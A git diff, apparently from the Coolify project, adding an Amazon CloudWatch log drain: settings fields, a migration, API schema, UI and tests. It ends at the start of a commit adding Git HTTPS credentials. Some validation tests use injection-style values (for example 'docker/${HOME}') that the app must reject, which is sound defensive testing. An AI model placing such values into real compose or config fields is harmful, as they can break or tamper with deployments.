'logdrain_axiom_dataset_name' => ['type' => 'string'], + 'logdrain_cloudwatch_region' => ['type' => 'string'], + 'logdrain_cloudwatch_group' => ['type' => 'string'], + 'logdrain_cloudwatch_stream_prefix' => ['type' => 'string'], 'logdrain_custom_config' => ['type' => 'string'], 'logdrain_custom_config_parser' => ['type' => 'string'], 'logdrain_highlight_project_id' => ['type' => 'string'], @@ -113,6 +117,10 @@ class ServerSetting extends Model 'is_logdrain_custom_enabled', 'logdrain_custom_config', 'logdrain_custom_config_parser', + 'is_logdrain_cloudwatch_enabled', + 'logdrain_cloudwatch_region', + 'logdrain_cloudwatch_group', + 'logdrain_cloudwatch_stream_prefix', 'concurrent_builds', 'dynamic_timeout', 'force_disabled', @@ -190,6 +198,7 @@ class ServerSetting extends Model 'compose_version_checked_at' => 'datetime', 'backup_compression_cpu_percentage' => 'integer', 'server_disk_usage_notification_interval_hours' => 'integer', + 'is_logdrain_cloudwatch_enabled' => 'boolean', ]; /** diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 01a5b04a66..104497ed92 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -1404,7 +1404,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if ($server->isLogDrainEnabled()) { if ($resource->isLogDrainEnabled()) { - $logging = generate_fluentd_configuration(); + $logging = generate_log_drain_configuration($server); } } $volumes = collect(data_get($service, 'volumes', [])); @@ -2775,7 +2775,7 @@ function serviceParser(Service $resource): Collection if ($server->isLogDrainEnabled()) { if ($serviceAppsLogDrainEnabledMap->get($serviceName)) { - $logging = generate_fluentd_configuration(); + $logging = generate_log_drain_configuration($server); } } $volumes = collect(data_get($service, 'volumes', [])); diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index e824d43ee5..482c77f40a 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -3574,7 +3574,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal } } if ($resource->server->isLogDrainEnabled() && $savedService->isLogDrainEnabled()) { - data_set($service, 'logging', generate_fluentd_configuration()); + data_set($service, 'logging', generate_log_drain_configuration($resource->server)); } if ($serviceLabels->count() > 0) { if ($resource->is_container_label_escape_enabled) { @@ -4406,7 +4406,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal if ($server->isLogDrainEnabled()) { if ($resource instanceof Application && $resource->isLogDrainEnabled()) { - data_set($service, 'logging', generate_fluentd_configuration()); + data_set($service, 'logging', generate_log_drain_configuration($server)); } } if ($serviceLabels->count() > 0) { @@ -4466,6 +4466,31 @@ function generate_fluentd_configuration(): array ]; } +function generate_log_drain_configuration(Server $server): array +{ + if ($server->isFluentBitLogDrainEnabled()) { + return generate_fluentd_configuration(); + } + + $settings = $server->settings; + $options = [ + 'awslogs-region' => $settings->logdrain_cloudwatch_region, + 'awslogs-group' => $settings->logdrain_cloudwatch_group, + 'awslogs-create-group' => 'true', + // Like fluentd-async: a CloudWatch outage or missing credentials must not block or fail the container. + 'mode' => 'non-blocking', + // The stream is named after the container; awslogs-stream is never set because it would override this tag. + 'tag' => ($settings->logdrain_cloudwatch_stream_prefix ?? '').'{{.Name}}', + ]; + + return [ + 'driver' => 'awslogs', + 'options' => collect($options) + ->reject(fn ($value) => blank($value)) + ->all(), + ]; +} + function isAssociativeArray($array) { if ($array instanceof Collection) { diff --git a/database/migrations/2026_09_24_055934_add_cloudwatch_log_drain_to_server_settings_table.php b/database/migrations/2026_09_24_055934_add_cloudwatch_log_drain_to_server_settings_table.php new file mode 100644 index 0000000000..97fbd6eecc --- /dev/null +++ b/database/migrations/2026_09_24_055934_add_cloudwatch_log_drain_to_server_settings_table.php @@ -0,0 +1,36 @@ +boolean('is_logdrain_cloudwatch_enabled')->default(false); + $table->string('logdrain_cloudwatch_region')->nullable(); + $table->string('logdrain_cloudwatch_group', 512)->nullable(); + $table->string('logdrain_cloudwatch_stream_prefix')->nullable(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('server_settings', function (Blueprint $table) { + $table->dropColumn([ + 'is_logdrain_cloudwatch_enabled', + 'logdrain_cloudwatch_region', + 'logdrain_cloudwatch_group', + 'logdrain_cloudwatch_stream_prefix', + ]); + }); + } +}; diff --git a/openapi.json b/openapi.json index 6b0bd8e12a..102181f7c0 100644 --- a/openapi.json +++ b/openapi.json @@ -16893,6 +16893,28 @@ "logdrain_custom_config_parser": { "description": "Only present with read:sensitive.", "type": "string" + }, + "is_logdrain_cloudwatch_enabled": { + "type": "boolean" + }, + "logdrain_cloudwatch_region": { + "type": [ + "string", + "null" + ] + }, + "logdrain_cloudwatch_group": { + "type": [ + "string", + "null" + ] + }, + "logdrain_cloudwatch_stream_prefix": { + "description": "Prepended to the container name to form the log stream name.", + "type": [ + "string", + "null" + ] } }, "type": "object" @@ -16966,6 +16988,28 @@ }, "logdrain_custom_config_parser": { "type": "string" + }, + "is_logdrain_cloudwatch_enabled": { + "type": "boolean" + }, + "logdrain_cloudwatch_region": { + "type": [ + "string", + "null" + ] + }, + "logdrain_cloudwatch_group": { + "type": [ + "string", + "null" + ] + }, + "logdrain_cloudwatch_stream_prefix": { + "description": "Prepended to the container name to form the log stream name.", + "type": [ + "string", + "null" + ] } }, "type": "object" @@ -24817,6 +24861,9 @@ "is_logdrain_axiom_enabled": { "type": "boolean" }, + "is_logdrain_cloudwatch_enabled": { + "type": "boolean" + }, "is_logdrain_custom_enabled": { "type": "boolean" }, @@ -24887,6 +24934,15 @@ "logdrain_axiom_dataset_name": { "type": "string" }, + "logdrain_cloudwatch_region": { + "type": "string" + }, + "logdrain_cloudwatch_group": { + "type": "string" + }, + "logdrain_cloudwatch_stream_prefix": { + "type": "string" + }, "logdrain_custom_config": { "type": "string" }, diff --git a/openapi.yaml b/openapi.yaml index d5ec8bbd2d..49cc639bd7 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -10755,6 +10755,10 @@ paths: is_logdrain_custom_enabled: { type: boolean } logdrain_custom_config: { description: 'Only present with read:sensitive.', type: string } logdrain_custom_config_parser: { description: 'Only present with read:sensitive.', type: string } + is_logdrain_cloudwatch_enabled: { type: boolean } + logdrain_cloudwatch_region: { type: [string, 'null'] } + logdrain_cloudwatch_group: { type: [string, 'null'] } + logdrain_cloudwatch_stream_prefix: { description: 'Prepended to the container name to form the log stream name.', type: [string, 'null'] } type: object '401': $ref: '#/components/responses/401' @@ -10803,6 +10807,15 @@ paths: type: string logdrain_custom_config_parser: type: string + is_logdrain_cloudwatch_enabled: + type: boolean + logdrain_cloudwatch_region: + type: [string, 'null'] + logdrain_cloudwatch_group: + type: [string, 'null'] + logdrain_cloudwatch_stream_prefix: + description: 'Prepended to the container name to form the log stream name.' + type: [string, 'null'] type: object responses: '200': @@ -15888,6 +15901,8 @@ components: type: boolean is_logdrain_axiom_enabled: type: boolean + is_logdrain_cloudwatch_enabled: + type: boolean is_logdrain_custom_enabled: type: boolean is_logdrain_highlight_enabled: @@ -15936,6 +15951,12 @@ components: type: string logdrain_axiom_dataset_name: type: string + logdrain_cloudwatch_region: + type: string + logdrain_cloudwatch_group: + type: string + logdrain_cloudwatch_stream_prefix: + type: string logdrain_custom_config: type: string logdrain_custom_config_parser: diff --git a/resources/views/livewire/server/log-drains.blade.php b/resources/views/livewire/server/log-drains.blade.php index ac908a7c9d..3f3d756414 100644 --- a/resources/views/livewire/server/log-drains.blade.php +++ b/resources/views/livewire/server/log-drains.blade.php @@ -34,7 +34,7 @@ ['value' => false, 'label' => 'Disabled'], ['value' => true, 'label' => 'Enabled'], ]" - :disabled="$isLogDrainAxiomEnabled || $isLogDrainCustomEnabled || !auth()->user()->can('update', $server)" /> + :disabled="$isLogDrainAxiomEnabled || $isLogDrainCustomEnabled || $isLogDrainCloudwatchEnabled || !auth()->user()->can('update', $server)" /> @@ -53,7 +53,7 @@ ['value' => false, 'label' => 'Disabled'], ['value' => true, 'label' => 'Enabled'], ]" - :disabled="$isLogDrainNewRelicEnabled || $isLogDrainCustomEnabled || !auth()->user()->can('update', $server)" /> + :disabled="$isLogDrainNewRelicEnabled || $isLogDrainCustomEnabled || $isLogDrainCloudwatchEnabled || !auth()->user()->can('update', $server)" /> @@ -62,6 +62,29 @@ :disabled="$server->isLogDrainEnabled()" />
    + +
    + +
    +
    + + + +
    +
    @@ -70,7 +93,7 @@ ['value' => false, 'label' => 'Disabled'], ['value' => true, 'label' => 'Enabled'], ]" - :disabled="$isLogDrainNewRelicEnabled || $isLogDrainAxiomEnabled || !auth()->user()->can('update', $server)" /> + :disabled="$isLogDrainNewRelicEnabled || $isLogDrainAxiomEnabled || $isLogDrainCloudwatchEnabled || !auth()->user()->can('update', $server)" />
    and($settings->logdrain_axiom_api_key)->toBe('axiom-key-123'); }); + test('PATCH enables the Amazon CloudWatch Logs drain', function () { + Queue::fake(); + + $this->withHeaders(serverSubsystemsHeaders()) + ->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [ + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_group' => '/coolify/prod', + 'logdrain_cloudwatch_region' => 'us-east-1', + 'logdrain_cloudwatch_stream_prefix' => 'docker/', + ]) + ->assertOk() + ->assertJsonPath('is_logdrain_cloudwatch_enabled', true) + ->assertJsonPath('logdrain_cloudwatch_group', '/coolify/prod') + ->assertJsonPath('logdrain_cloudwatch_stream_prefix', 'docker/'); + + $settings = $this->server->settings->fresh(); + expect($settings->is_logdrain_cloudwatch_enabled)->toBeTrue() + ->and($settings->logdrain_cloudwatch_region)->toBe('us-east-1'); + }); + + test('PATCH rejects enabling CloudWatch without a log group', function () { + Queue::fake(); + + $this->withHeaders(serverSubsystemsHeaders()) + ->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [ + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_region' => 'us-east-1', + ]) + ->assertUnprocessable() + ->assertJsonValidationErrors('logdrain_cloudwatch_group'); + + expect($this->server->settings->fresh()->is_logdrain_cloudwatch_enabled)->toBeFalse(); + }); + + test('PATCH rejects enabling CloudWatch without a region', function () { + Queue::fake(); + + $this->withHeaders(serverSubsystemsHeaders()) + ->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [ + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_group' => 'coolify', + ]) + ->assertUnprocessable() + ->assertJsonValidationErrors('logdrain_cloudwatch_region'); + + expect($this->server->settings->fresh()->is_logdrain_cloudwatch_enabled)->toBeFalse(); + }); + + test('PATCH rejects CloudWatch values that could break the compose file', function (string $field, mixed $value) { + Queue::fake(); + + $this->withHeaders(serverSubsystemsHeaders()) + ->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [ + $field => $value, + ]) + ->assertUnprocessable() + ->assertJsonValidationErrors($field); + })->with([ + 'prefix with interpolation' => ['logdrain_cloudwatch_stream_prefix', 'docker/${HOME}'], + 'prefix with colon' => ['logdrain_cloudwatch_stream_prefix', 'docker:'], + 'prefix with template braces' => ['logdrain_cloudwatch_stream_prefix', '{{.ID}}'], + 'invalid region' => ['logdrain_cloudwatch_region', 'not a region'], + 'group with spaces' => ['logdrain_cloudwatch_group', 'my group'], + ]); + + test('PATCH rejects enabling CloudWatch together with another log drain', function () { + Queue::fake(); + $this->server->settings->update([ + 'is_logdrain_axiom_enabled' => true, + 'logdrain_axiom_dataset_name' => 'ds', + 'logdrain_axiom_api_key' => 'key', + ]); + + $this->withHeaders(serverSubsystemsHeaders()) + ->patchJson("/api/v1/servers/{$this->server->uuid}/log-drains", [ + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_group' => 'coolify', + 'logdrain_cloudwatch_region' => 'us-east-1', + ]) + ->assertUnprocessable() + ->assertJsonValidationErrors('is_logdrain_cloudwatch_enabled'); + }); + test('other-team log drains endpoints return 404', function () { $this->withHeaders(serverSubsystemsHeaders()) ->getJson("/api/v1/servers/{$this->otherServer->uuid}/log-drains") diff --git a/tests/Feature/LogDrain/CloudwatchLogDrainTest.php b/tests/Feature/LogDrain/CloudwatchLogDrainTest.php new file mode 100644 index 0000000000..26034973b9 --- /dev/null +++ b/tests/Feature/LogDrain/CloudwatchLogDrainTest.php @@ -0,0 +1,244 @@ +user = User::factory()->create(); + $this->team = $this->user->teams()->first(); + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +it('enables the CloudWatch drain and persists its options', function () { + StartLogDrain::mock()->shouldReceive('handle')->once()->andReturn('ok'); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', '/coolify/prod') + ->set('logDrainCloudwatchRegion', 'us-east-1') + ->set('logDrainCloudwatchStreamPrefix', 'docker/') + ->call('toggleLogDrain', 'cloudwatch') + ->assertHasNoErrors() + ->assertSet('isLogDrainCloudwatchEnabled', true); + + $settings = $this->server->settings->fresh(); + expect($settings->is_logdrain_cloudwatch_enabled)->toBeTrue() + ->and($settings->logdrain_cloudwatch_group)->toBe('/coolify/prod') + ->and($settings->logdrain_cloudwatch_region)->toBe('us-east-1') + ->and($settings->logdrain_cloudwatch_stream_prefix)->toBe('docker/'); +}); + +it('requires a log group before enabling CloudWatch', function () { + StartLogDrain::mock()->shouldNotReceive('handle'); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('isLogDrainCloudwatchEnabled', true) + ->call('instantSave') + ->assertDispatched('error') + ->assertSet('isLogDrainCloudwatchEnabled', false); + + expect($this->server->settings->fresh()->is_logdrain_cloudwatch_enabled)->toBeFalse(); +}); + +it('requires a region before enabling CloudWatch', function () { + StartLogDrain::mock()->shouldNotReceive('handle'); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', 'coolify') + ->call('toggleLogDrain', 'cloudwatch') + ->assertDispatched('error') + ->assertSet('isLogDrainCloudwatchEnabled', false); + + expect($this->server->settings->fresh()->is_logdrain_cloudwatch_enabled)->toBeFalse(); +}); + +it('rejects stream prefixes that could break the compose file', function (string $prefix) { + StartLogDrain::mock()->shouldNotReceive('handle'); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', 'coolify') + ->set('logDrainCloudwatchRegion', 'us-east-1') + ->set('logDrainCloudwatchStreamPrefix', $prefix) + ->set('isLogDrainCloudwatchEnabled', true) + ->call('instantSave') + ->assertDispatched('error') + ->assertSet('isLogDrainCloudwatchEnabled', false); + + expect($this->server->settings->fresh()->is_logdrain_cloudwatch_enabled)->toBeFalse(); +})->with(['docker/${HOME}', 'docker:', '{{.ID}}', 'with space']); + +it('enables the CloudWatch drain from the status dropdown', function () { + StartLogDrain::mock()->shouldReceive('handle')->once()->andReturn('ok'); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', 'coolify') + ->set('logDrainCloudwatchRegion', 'us-east-1') + ->set('logDrainCloudwatchStreamPrefix', 'docker/') + ->set('isLogDrainCloudwatchEnabled', true) + ->call('instantSave') + ->assertDispatched('success'); + + $settings = $this->server->settings->fresh(); + expect($settings->is_logdrain_cloudwatch_enabled)->toBeTrue() + ->and($settings->logdrain_cloudwatch_stream_prefix)->toBe('docker/'); +}); + +it('disables other drains when CloudWatch is enabled', function () { + StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok'); + $this->server->settings->update([ + 'is_logdrain_newrelic_enabled' => true, + 'logdrain_newrelic_license_key' => 'abc123', + 'logdrain_newrelic_base_uri' => 'https://log-api.newrelic.com', + ]); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', 'coolify') + ->set('logDrainCloudwatchRegion', 'us-east-1') + ->call('toggleLogDrain', 'cloudwatch') + ->assertSet('isLogDrainNewRelicEnabled', false) + ->assertSet('isLogDrainCloudwatchEnabled', true); + + $settings = $this->server->settings->fresh(); + expect($settings->is_logdrain_newrelic_enabled)->toBeFalsy() + ->and($settings->is_logdrain_cloudwatch_enabled)->toBeTrue(); +}); + +it('reverts the CloudWatch flag when starting the drain fails', function () { + StartLogDrain::mock()->shouldReceive('handle')->andThrow(new RuntimeException('runtime boom')); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', 'coolify') + ->set('logDrainCloudwatchRegion', 'us-east-1') + ->call('toggleLogDrain', 'cloudwatch') + ->assertSet('isLogDrainCloudwatchEnabled', false); + + expect($this->server->settings->fresh()->is_logdrain_cloudwatch_enabled)->toBeFalse(); +}); + +it('forbids team members from enabling CloudWatch', function () { + StartLogDrain::mock()->shouldNotReceive('handle'); + $member = User::factory()->create(); + $member->teams()->attach($this->team, ['role' => 'member']); + $this->actingAs($member); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', 'coolify') + ->set('logDrainCloudwatchRegion', 'us-east-1') + ->call('toggleLogDrain', 'cloudwatch'); + + expect($this->server->settings->fresh()->is_logdrain_cloudwatch_enabled)->toBeFalse(); +}); + +it('does not deploy the Fluent Bit container for CloudWatch', function () { + StopLogDrain::mock()->shouldReceive('handle')->once()->andReturn('removed'); + $this->server->settings->update([ + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_group' => 'coolify', + 'logdrain_cloudwatch_region' => 'us-east-1', + ]); + + $result = StartLogDrain::run($this->server->fresh()); + + expect($result)->toContain('awslogs'); +}); + +it('turns off the legacy Highlight drain when CloudWatch is enabled', function () { + StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok'); + $this->server->settings->update([ + 'is_logdrain_highlight_enabled' => true, + 'logdrain_highlight_project_id' => 'legacy-project', + ]); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', 'coolify') + ->set('logDrainCloudwatchRegion', 'us-east-1') + ->set('isLogDrainCloudwatchEnabled', true) + ->call('instantSave') + ->assertDispatched('success'); + + $settings = $this->server->settings->fresh(); + expect($settings->is_logdrain_highlight_enabled)->toBeFalsy() + ->and($settings->is_logdrain_cloudwatch_enabled)->toBeTrue(); +}); + +it('turns off the legacy Highlight drain when switching drains with toggleLogDrain', function () { + StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok'); + $this->server->settings->update(['is_logdrain_highlight_enabled' => true]); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', 'coolify') + ->set('logDrainCloudwatchRegion', 'us-east-1') + ->call('toggleLogDrain', 'cloudwatch'); + + $settings = $this->server->settings->fresh(); + expect($settings->is_logdrain_highlight_enabled)->toBeFalsy() + ->and($settings->is_logdrain_cloudwatch_enabled)->toBeTrue(); +}); + +it('keeps the legacy Highlight drain when saving without enabling another drain', function () { + StartLogDrain::mock()->shouldReceive('handle')->andReturn('ok'); + $this->server->settings->update(['is_logdrain_highlight_enabled' => true]); + + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', 'coolify') + ->set('logDrainCloudwatchRegion', 'us-east-1') + ->call('submit') + ->assertDispatched('success'); + + expect($this->server->settings->fresh()->is_logdrain_highlight_enabled)->toBeTruthy(); +}); + +it('rejects a save that would enable two log drains at once', function () { + StartLogDrain::mock()->shouldNotReceive('handle'); + $this->server->settings->update([ + 'is_logdrain_newrelic_enabled' => true, + 'logdrain_newrelic_license_key' => 'abc123', + 'logdrain_newrelic_base_uri' => 'https://log-api.newrelic.com', + ]); + + // The UI disables the CloudWatch dropdown here; this simulates a crafted request. + Livewire::test(LogDrains::class, ['server_uuid' => $this->server->uuid]) + ->set('logDrainCloudwatchGroup', 'coolify') + ->set('logDrainCloudwatchRegion', 'us-east-1') + ->set('isLogDrainCloudwatchEnabled', true) + ->call('instantSave') + ->assertDispatched('error') + ->assertSet('isLogDrainCloudwatchEnabled', false) + ->assertSet('isLogDrainNewRelicEnabled', true); + + $settings = $this->server->settings->fresh(); + expect($settings->is_logdrain_cloudwatch_enabled)->toBeFalse() + ->and($settings->is_logdrain_newrelic_enabled)->toBeTruthy(); +}); + +it('keeps the Fluent Bit drain running if CloudWatch is also enabled, matching the containers logging config', function () { + Process::fake(); + StopLogDrain::mock()->shouldReceive('handle')->andReturn('removed'); + $this->server->update(['private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id]); + $this->server->settings->update([ + 'is_logdrain_axiom_enabled' => true, + 'logdrain_axiom_dataset_name' => 'ds', + 'logdrain_axiom_api_key' => 'key', + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_group' => 'coolify', + 'logdrain_cloudwatch_region' => 'us-east-1', + ]); + $server = $this->server->fresh(); + + expect(generate_log_drain_configuration($server)['driver'])->toBe('fluentd'); + + StartLogDrain::run($server); + + Process::assertRan(fn ($process) => str_contains($process->command, 'log-drains/docker-compose.yml up -d')); +}); diff --git a/tests/Feature/StandaloneSqliteTest.php b/tests/Feature/StandaloneSqliteTest.php index b63b9917e5..845d88e5da 100644 --- a/tests/Feature/StandaloneSqliteTest.php +++ b/tests/Feature/StandaloneSqliteTest.php @@ -77,6 +77,32 @@ it('generates a compose file that passes the database files to the image', funct ->and($service['volumes'])->toBe(['sqlite-data-'.$this->database->uuid.':/var/lib/sqlite']); }); +it('uses the server log drain driver when log draining is enabled', function () { + $commands = []; + $executor = Mockery::mock(DatabaseStartCommandExecutor::class); + $executor->shouldReceive('execute')->once()->withArgs(function (array $captured) use (&$commands) { + $commands = $captured; + + return true; + })->andReturn(new Activity); + app()->instance(DatabaseStartCommandExecutor::class, $executor); + $this->server->settings->update([ + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_region' => 'us-east-1', + 'logdrain_cloudwatch_group' => 'coolify', + ]); + $this->database->update(['is_log_drain_enabled' => true]); + Server::flushIdentityMap(); + + (new StartSqlite)->handle($this->database->fresh(), new Activity); + + preg_match("/^echo '([^']+)' \| base64 -d/", collect($commands)->first(fn (string $command) => str_contains($command, 'docker-compose.yml')), $matches); + $service = Yaml::parse(base64_decode($matches[1]))['services'][$this->database->uuid]; + + expect($service['logging']['driver'])->toBe('awslogs') + ->and($service['logging']['options']['awslogs-group'])->toBe('coolify'); +}); + it('restores a gzipped backup with .restore into the first database file', function () { $command = app(DatabaseImportCommandBuilder::class)->buildRestoreCommand($this->database, '/tmp/restore_1', false); diff --git a/tests/Unit/GenerateLogDrainConfigurationTest.php b/tests/Unit/GenerateLogDrainConfigurationTest.php new file mode 100644 index 0000000000..0ac5eb05b2 --- /dev/null +++ b/tests/Unit/GenerateLogDrainConfigurationTest.php @@ -0,0 +1,77 @@ +setRelation('settings', new ServerSetting($attributes)); + + return $server; +} + +it('uses the fluentd driver when CloudWatch is not the active drain', function () { + $server = serverWithLogDrainSettings(['is_logdrain_axiom_enabled' => true]); + + expect(generate_log_drain_configuration($server))->toBe(generate_fluentd_configuration()); +}); + +it('uses the awslogs driver with every configured option', function () { + $server = serverWithLogDrainSettings([ + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_region' => 'eu-west-1', + 'logdrain_cloudwatch_group' => '/coolify/prod', + 'logdrain_cloudwatch_stream_prefix' => 'docker/', + ]); + + expect(generate_log_drain_configuration($server))->toBe([ + 'driver' => 'awslogs', + 'options' => [ + 'awslogs-region' => 'eu-west-1', + 'awslogs-group' => '/coolify/prod', + 'awslogs-create-group' => 'true', + 'mode' => 'non-blocking', + 'tag' => 'docker/{{.Name}}', + ], + ]); +}); + +it('names streams after the container when no prefix is set', function () { + $server = serverWithLogDrainSettings([ + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_region' => 'us-east-1', + 'logdrain_cloudwatch_group' => 'coolify', + ]); + + expect(generate_log_drain_configuration($server)['options']['tag'])->toBe('{{.Name}}'); +}); + +it('does not fall back to a default region', function () { + $server = serverWithLogDrainSettings([ + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_group' => 'coolify', + ]); + + expect(generate_log_drain_configuration($server)['options'])->not->toHaveKey('awslogs-region'); +}); + +it('never sets awslogs-stream because it would override the container-name tag', function () { + $server = serverWithLogDrainSettings([ + 'is_logdrain_cloudwatch_enabled' => true, + 'logdrain_cloudwatch_group' => 'coolify', + 'logdrain_cloudwatch_stream_prefix' => 'apps/', + ]); + + expect(generate_log_drain_configuration($server)['options'])->not->toHaveKey('awslogs-stream'); +}); + +it('reports CloudWatch as an enabled drain that does not use Fluent Bit', function () { + $cloudwatch = serverWithLogDrainSettings(['is_logdrain_cloudwatch_enabled' => true]); + $axiom = serverWithLogDrainSettings(['is_logdrain_axiom_enabled' => true]); + + expect($cloudwatch->isLogDrainEnabled())->toBeTrue() + ->and($cloudwatch->isFluentBitLogDrainEnabled())->toBeFalse() + ->and($axiom->isLogDrainEnabled())->toBeTrue() + ->and($axiom->isFluentBitLogDrainEnabled())->toBeTrue(); +}); From 7b83fa72eb0a8d553f1d7659be92a7faed739580 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 26 Oct 2026 10:50:24 +0100 Subject: [PATCH 06/10] feat(git): add HTTPS credentials for private repositories on custom Git hosts (#12328) --- .ai/lessons.md | 2 + .../Api/ApplicationsController.php | 50 +++- app/Jobs/ApplicationDeploymentJob.php | 5 +- app/Livewire/Project/Application/Source.php | 44 +++- app/Mcp/Concerns/BuildsResponse.php | 2 +- app/Models/Application.php | 67 ++++- app/Models/EnvironmentVariable.php | 5 + .../ServerTransfer/ServerTransferExporter.php | 1 + bootstrap/helpers/api.php | 2 + ...ttps_credentials_to_applications_table.php | 23 ++ openapi.json | 28 ++ openapi.yaml | 22 ++ .../project/application/source.blade.php | 24 ++ .../GitHttpsCredentialCommandsTest.php | 245 ++++++++++++++++++ tests/Feature/GitHttpsCredentialTest.php | 207 +++++++++++++++ .../Security/CommandInjectionSecurityTest.php | 1 + .../ServerTransferExporterImporterTest.php | 5 +- .../ApplicationGitHttpsCredentialTest.php | 33 +++ 18 files changed, 756 insertions(+), 10 deletions(-) create mode 100644 database/migrations/2026_10_26_081954_add_git_https_credentials_to_applications_table.php create mode 100644 tests/Feature/GitHttpsCredentialCommandsTest.php create mode 100644 tests/Feature/GitHttpsCredentialTest.php create mode 100644 tests/v4/Browser/ApplicationGitHttpsCredentialTest.php diff --git a/.ai/lessons.md b/.ai/lessons.md index 9408a4d308..bb4f27bf07 100644 --- a/.ai/lessons.md +++ b/.ai/lessons.md @@ -17,10 +17,12 @@ - Redirect browser test output to a file (`> /tmp/x.log 2>&1`); piping it (`| tail`) hangs because the Playwright server keeps the pipe open. - Browser `click()`/`assertSee()` wait forever when nothing matches, so a bad selector hangs the run instead of failing it. `click('Text')` can match a hidden element first (use `button:visible:has-text("Text")`); `:text-is()` on an element with child elements and `assertSee()` text with double quotes never match. Prefer plain CSS selectors. - A new worktree has no `vendor/` or `public/build/`. Run `composer install --ignore-platform-req=ext-zip` on the host and copy `public/build` from the main checkout before page-rendering tests; otherwise they fail with a Vite manifest error. +- A dev deployment that stays `in_progress` with no log lines and no `horizon_job_id` is waiting in a queue that Horizon does not serve. With `SELF_HOSTED=false` in `.env`, deployments go to the cloud `deployments` queue; run `./scripts/dev exec php artisan queue:work redis --queue=deployments --once` or fix the env. - Never run `php artisan test` inside a dev container (`./scripts/dev exec` or `docker exec coolify-dev-*`). The container sets `DB_CONNECTION=pgsql` as a real environment variable, which wins over `phpunit.xml`, so `RefreshDatabase` runs `migrate:fresh` on the dev database and wipes it. Run tests on the host only. - The helper image runs `docker compose` for deployments and for the Coolify upgrade itself. Before you bump its Docker CLI or Compose, test them against the oldest supported Docker Engine (for example a `docker:-dind` container); newer clients can reject data from older daemons. - Do not symlink `vendor` into another worktree. Composer resolves the base path from the real `vendor` path, so the tests load the app classes of the other checkout. Run `composer install --ignore-platform-req=ext-zip` in the worktree. - To assert that the unsaved-changes bar shows, check `el.classList.contains('is-dirty')`. Playwright treats the hidden bar (`opacity-0`) as visible, and its class attribute always contains the text `is-dirty` from Tailwind variants. +- In browser tests, address `x-forms.input` fields by `name` (`type('fieldName', ...)`); its HTML `id` is not always the Livewire property, so `#property` waits forever. - Do not call `sleep()` in a browser test. The app server runs in the test process, so `sleep()` stops it; use `$page->wait()`. - In tests, turning on `is_metrics_enabled` (and other Sentinel settings) with `save()`/`update()` runs the settings hook, which starts Sentinel over a real SSH connection on the sync queue. Use `saveQuietly()` or `Queue::fake()`. - Call `visit()` directly in each `tests/v4/Browser` test body; Pest does not mark a test that only uses helper-wrapped `visit()` as a browser test, so it fails with `sendText() on null`. diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 2904a61806..0ded675a64 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -350,6 +350,8 @@ class ApplicationsController extends Controller 'environment_uuid' => ['type' => 'string', 'description' => 'The environment UUID. You need to provide at least one of environment_name or environment_uuid.'], 'git_repository' => ['type' => 'string', 'description' => 'The git repository URL.'], 'git_branch' => ['type' => 'string', 'description' => 'The git branch.'], + 'git_https_username' => ['type' => 'string', 'nullable' => true, 'description' => 'Username for HTTPS access to a private repository on a custom Git host (not github.com).'], + 'git_https_password' => ['type' => 'string', 'nullable' => true, 'description' => 'Password or access token for HTTPS access to a private repository on a custom Git host (not github.com). It is stored encrypted and never returned.'], 'build_pack' => ['type' => 'string', 